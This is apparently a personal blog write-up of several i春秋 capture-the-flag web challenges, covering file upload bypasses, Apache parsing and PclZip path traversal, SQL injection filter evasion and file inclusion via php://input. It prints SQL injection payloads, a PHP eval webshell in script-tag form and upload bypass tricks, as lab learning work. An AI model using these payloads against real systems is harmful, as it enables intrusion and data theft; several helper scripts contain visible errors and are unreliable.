i春秋1

最近刷bugku的题,刷到最后一关实在有点太磨人了,来i春秋换换心情吧。。

文件上传:

今天做了i春秋的一题文件上传题目,收获还蛮多的,主要是复习了一下之前文件上传的知识点,还学到了新的知识:

代码分析:

img

这边对上传的文件后缀是使用了白名单检查的一个函数
img
在这里,我们发现,如果后缀是压缩文件zip的话,也是可以上传的,但是后续解压出来的文件要经过check_dir()的检查。
看到这个是白名单检查,并且在

img 这里的提示下,我们知道这个是apache服务器。

apache解析漏洞

在Apache1.x,2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

所以我们上传123.xxx.php.xxx只要这个xxx是不可识别的后缀,那么打开这个文件的时候,Apache就会将其解析为php文件。

更多参考:https://www.anquanke.com/post/id/219107#h3-3

PCLzip文件解压存在目录穿越漏洞

当我们在压缩文件内的文件名设置为../../123.php当这个文件名和文件路径拼接以后就会变成/upload/xxxxxx/../../123.php 那么这时,访问该文件就只需要访问上两级的目录即可

思路

我们构造一个压缩文件,压缩文件里面放有一个jpg文件,一个由010editor更改过后缀的php文件
img
然后将其上传,这个时候直接在url中访问即可

出现的问题

我上传的这个文件怎么都找不到了,我就有点无语,看了一下源码,他在每次上传加压文件后,都会再经过一个check_dir()函数的检查,而且还是递归检查,那其实上面这个方法就不可行了。后来我在盲试,让文件后缀=php.jpg上传以后,打开,发现就是flag了????????????
后来就在猜想,难不成是因为有.htaccess文件,使得上传成功并且存在的文件内容含有php 就可以解析为php?,那这题也太搞了吧。

反正这题就先告一段落了,想了想就这样过得不明不白的实在不行,决心再回来好好梳理一下:顺便整理一下文件上传的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
 show_source(__FILE__);
}else{
$file = $_FILES['file'];
if(!$file){
exit("请勿上传空文件");
}
$name = $file['name'];

$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));//就是用来检验name还有没有后缀
$path = $dir.$name;

function check_dir($dir){
$handle = opendir($dir);//针对的是upload的下级目录
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){//白名单检查后缀说明这个是想利用解析漏洞是不行滴
unlink($dir.$f);
}
}

}
}
}

if(!is_dir($dir)){
mkdir($dir);
}

$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){//创建临时目录
mkdir($temp_dir);
}

if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
if($ext == 'zip'){
$archive = new PclZip($file['tmp_name']);//使用pclzip的方式进行解压
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\.php$/', $filename)){//正则匹配是否存在php文件,有的话就直接不往下检查了,黑名单检查,可以
exit("压缩包内不允许含有php文件!"); //利用解析漏洞
}
}
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);
exit("解压失败");
}

check_dir($dir);
exit('上传成功!');
}else{
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);//直接拼接文件名是造成任意文件上传漏洞
check_dir($dir); //但这里不行
exit('上传成功!');
}
}else{
exit('仅允许上传zip、jpg、gif、png文件!');
}
}

看完源码,发现原来的思路是没有问题的呀,构造穿越目录文件名,当文件被解压后,文件此时已经穿越到上级目录了,而check_dir()针对检查的是upload/下的目录文件,而用apache的解析漏洞目的是逃过那个黑名单检查,感觉这个题目可能哪里出了问题吧

SQL注入

先用burpsuit跑了一下过滤了啥,发现过滤了select 和order,如何绕过呢?这里新学了一种<>连接符
payload:
?id=1 ord<>er by 3
?id=1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
?id=1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name=’info’
?id=1 union sel<>ect 1,flAg_T5ZNdrm,3 from info

UPLOAD

直接上传一句话木马,发现连接不了,猜测有过滤内容,于是将一句话木马分解输入, 发现过滤了<?和php,想到之前看到过的另一种写马的方法:

1
<script language="pHp">@eval($_POST['cmd'])</script>

即可连接,然后就可以找到flag了

文件包含(include)

这题是文件包含,因为是request请求path,所以直接输路径,试了一下flag.php 发现没有收获,在下面var/www/html等路径都找了一下发现也没有,想了一下,之前文件包含漏洞有结合过php://input封装协议

img img 后来回想了一下,为啥这题可以用这个php://input封装协议?: **allow_url_include = On(允许引用URL文件)**因为这个是打开的,所以其实以后看到这个配置,就要思考一下是否需要使用这个封装协议来解题了 img

Do you know upload?

这一题依旧是文件上传题,先看一下是黑名单还是白名单过滤,上传了一个txt文件,发现还是说文件类型不允许,所以推测是白名单

上传jpg文件,然后修改后缀为php即可绕过上传

上传以后看了一会都没发现flag,发现数据库的账号密码,可能是要我们看数据库吧,所以在用蚁剑连接数据库,即可获得flag,img

flag{04add780-f807-45af-aea6-99ae0d3d2e09}

Upload

第一届“百度杯”信息安全攻防总决赛 线上选拔赛
他让我们速度要快,然后查看到信息,让我们post找到的东西

img

看了一下其他地方,发现也没啥有用的信息了,然后就抓包,看到回应的报文中有flag,但是每次收到的都不一样,就想到之前在bugku里面做过一题类似的,所以就用了之前用过的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import base64

url = 'http://3013bae61dcc4556a1e1e2574cdd037795ba5817823d4218.changame.ichunqiu.com/'
r = requests.session()
headers = r.get(url).headers
mid = base64.b64decode(headers['flag'])
print(mid)
mid = mid.decode() # 因为base64解密一次是byte类型,包含了中文字符,所以还需要解码一次
print(mid)
flag = base64.b64decode(mid.split(':')[1])
print(flag)
data = {'ichunqiu': flag}
print(r.post(url, data).text)

果然跑出来了
img

他说path=这个东西我一开始以为是被加密了,一直去解密都没找到结果,然后还是看了wp,发现直接把它加在路径上就可以了,连接后登陆到页面,看到登录框,一开始以为是SQL注入,尝试了一会发现都没啥收获,没办法 再去看了一下wp 说是svp源码泄露???这我就懵了,不懂在哪里看出来的,然后去下面翻评论,看到说是经验,于是去搜索了一波,大概有几种源码泄露,决定整理一波。
img

接下来拿去MD5编码一下可得到
8638d5263ab0d3face193725c23ce095
img

这里说是需要captcha的MD5加密后的前六位是365268,这里编写一个脚本:
这个是参考脚本:

1
2
3
4
5
6
7
8
9
10
import hashlib
def md5(s)
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
def main(s):
for i in range(1,999999999):
if md5(i)[0:6] == str(s):
print(i)
exit(0)
if __name__=='__mian__':#这里是相当于一个入口,具体可以谷歌
mian("******")

自己编写:

1
2
3
4
5
6
7
8
import hashlib
s='*****'
for i in range(1,9999999)://如果跑不出来 就把数字范围再加大点
i=a
i=hashlib.md5(str(i).encode('uft-8')).hexdigest()
if i[0:6] == str(s):
print(a)
break

这里密码随意都可以

爆破出验证码以后登录即可看到这个框img

1
The 7815696ecbf1c96e6894b779456d330e.php:)Welcome 8638d5263ab0d3face193725c23ce095!

提示说这个MD5解码后的asd.php让我们打开看看后来发现 根本不需要解码–感觉对于识别是何种加密方式的能力还不熟悉,全凭感觉,还是要再去学习一下
接下来就到了文件上传

img

上传txt文件也不可以上传,上传php文件不行,
img
所以这里推测一下应该是白名单过滤,但是应该还有检查其他参数吧,burpsuit抓包的时候改一下MIME参数试试能不能绕过
那就首先把常用的几个后缀都试试好了:大小写、pht、phtml、php3、php5,最后发现pht可以得到flag

img
Author

vague huang

Posted on

2021-02-08

Updated on

2021-02-12

Licensed under

Comments